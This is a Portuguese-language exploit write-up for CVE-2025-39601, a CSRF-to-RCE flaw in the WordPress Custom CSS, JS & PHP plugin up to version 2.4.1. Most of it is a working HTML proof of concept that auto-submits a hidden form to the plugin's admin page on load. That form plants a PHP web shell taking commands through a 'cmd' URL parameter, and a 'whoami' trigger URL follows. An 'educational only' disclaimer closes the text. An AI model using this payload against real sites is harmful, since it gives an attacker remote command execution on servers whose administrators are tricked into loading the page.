nxploited/cve-2025-39601WordPress Custom CSS, JS & PHP plugin <= 2.4.1 - Vulnerabilidade de CSRF para RCE
Uma vulnerabilidade de Cross-Site Request Forgery (CSRF) no plugin WPFactory Custom CSS, JS & PHP permite Execução Remota de Código (RCE) através da injeção de código PHP malicioso por meio de requisições POST não autorizadas.
Isso afeta todas as versões até e incluindo a 2.4.1.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HAbaixo está uma captura de tela mostrando o resultado de uma exploração bem-sucedida, demonstrando como o código remoto pode ser executado através do parâmetro de URL:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>WordPress Custom CSS, JS & PHP plugin <= 2.4.1 - CSRF to RCE vulnerability</title>
</head>
<body onload="document.forms[0].submit()">
<h1>CSRF PoC - WordPress Custom CSS, JS & PHP plugin <= 2.4.1</h1>
<p>By : Nxploited | Khaled Alenazi</p>
<form action="http://192.168.100.74:888/wordpress4/wp-admin/tools.php?page=alg-custom-php" method="POST">
<input type="hidden" name="alg_custom_css_php_enabled" value="1">
<input type="hidden" name="alg_custom_css_php_execute" value="plugins_loaded">
<input type="hidden" name="alg_custom_css_php" value="<?php system($_GET['cmd']); ?>">
<input type="hidden" name="alg_ccjp_submit" value="php">
<noscript><input type="submit" value="Submit"></noscript>
</form>
</body>
</html>
plugins_loaded.http://target-site.com/?cmd=whoami
Esta PoC é apenas para fins educacionais.
O autor não se responsabiliza por qualquer uso indevido ou dano causado pela aplicação inadequada desta informação.
Sempre teste em ambientes controlados e com permissão.
By: Nxploited | Khaled Alenazi